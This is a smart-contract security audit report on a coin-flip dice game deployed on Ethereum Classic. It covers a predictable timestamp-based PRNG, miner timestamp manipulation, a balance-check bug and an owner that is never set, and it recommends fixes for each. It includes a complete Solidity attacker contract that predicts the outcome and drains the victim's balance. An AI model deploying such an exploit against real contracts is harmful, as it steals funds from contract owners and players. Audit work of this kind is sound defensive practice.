This document is a security audit report performed by RideSolo, where Dice Game has been reviewed.
The audited smart contract is a simple Dapp where the developer simulate a coin flip to let the player either win and get back an extra percentage of his bet or loose the ethers sent to the implemented function. The contract has been deployed on ETC blockchain.
- dice1.sol github commit hash b3bb9ec5a4d893bf2606c7608940cd1bcd24e40c
In total, 4 issues:
- 1 high severity issue.
- 1 medium severity issue.
- 2 low severity issues.
The outcome of the coin flip function can be predicted when using PRNGs based on actual block variables, in this case the PRNG is block.timestamp % 2.
An attacker can deploy a smart contract and precompute the results before calling FlipCoin making his chances to win to be 100%, here is an example bellow:
contract AttackerContract {
address victim = /* victim smart contract address */;
address owner ;
uint percentage = /* same value as in the victim contract */;
constructor() payable {
owner = msg.sender;
}
function attackVictim() {
if(block.timestamp%2 == 0) {
uint bet_value = victim.balance * 100 / percentage;
if(bet_value > this.balance) CoinFlip(victim).FlipCoin.value(this.balance)();
else{
CoinFlip(victim).FlipCoin.value(bet_value)();
}
}
}
function() payable{}
function kill() public {
if(owner == msg.sender) {
selfdestruct(owner);
}
}
}
Simply by deploying the AttackerContract, sending some ethers to it and calling the attackVictim function multiple times, the attacker will completely empty the victim balance.
- One Recommended sollution is to check if the function caller is a contract address or not, by adding the following code to the function:
assembly {
size := extcodesize(msg.sender)
}
if(size==0) {
..... ; // procede with the code excution
} else throw; // the function caller is a contract and therefore cannot be trusted.
- Another recommended solution is the same as in [issue number 2](#3.2. Timestamp Manipulation).
block.timestamp is set by the miners when succesfully mining a block and therefore can be manipulated by a malicious node. This represent a risk in some special circumstances.
A recommended approach will be to use a future blockhash as seed for the PRNG, by splitting the process into two diffrent functions.
The first function will be called by the player to save a specific future block number let it be blk_future = block.number + x to be used to get the blockhash where x > 0 . The second function will be called by the player after that the blk_future block is mined and uses its blockhash as a seed for the PRNG.
Important note:
- Keep in mind that the second function has to be called within
blk_future + 256block otherwise the blockhash will be equal to zero, therefore predictable. - Always use state variables to save the players balances and contract balance, a possible situation will be if the contract balance is empty and the player call the second function and he wins. The developers have to think about how to hanldle this situation.
- If this solution is adopted by the developers, the contract reward should be less than the block reward otherwise a miner can choose to not mine the
blk_futureblock if the blockhash doesn't allow him to win.
The value of balance member in payable methods is increased by msg.value before that the function itself is executed, therefore the condition if(this.balance < ((msg.value*payPercentaje)/100)) will always be false.
Declare a state variable and use it to track the contract balance instead of using this.balance, or reformulate the condition.
The state variable owner is not set inside the contract constructor function. kill cannot be called so the contract balance will remain available for the players.
Set the state variable owner inside the constructor by assigning msg.sender value to it.
One critical issue has been found, leading to a direct exploit of the contract. A medium issue was also highlighted, concerning the possibility of miners manipulating the block variables which can raise their chances to win. Others low severity issues have been described that have to be fixed for a proper operability of the contract.
This contract is not safe, the highlighted critical issue has to be fixed immediately.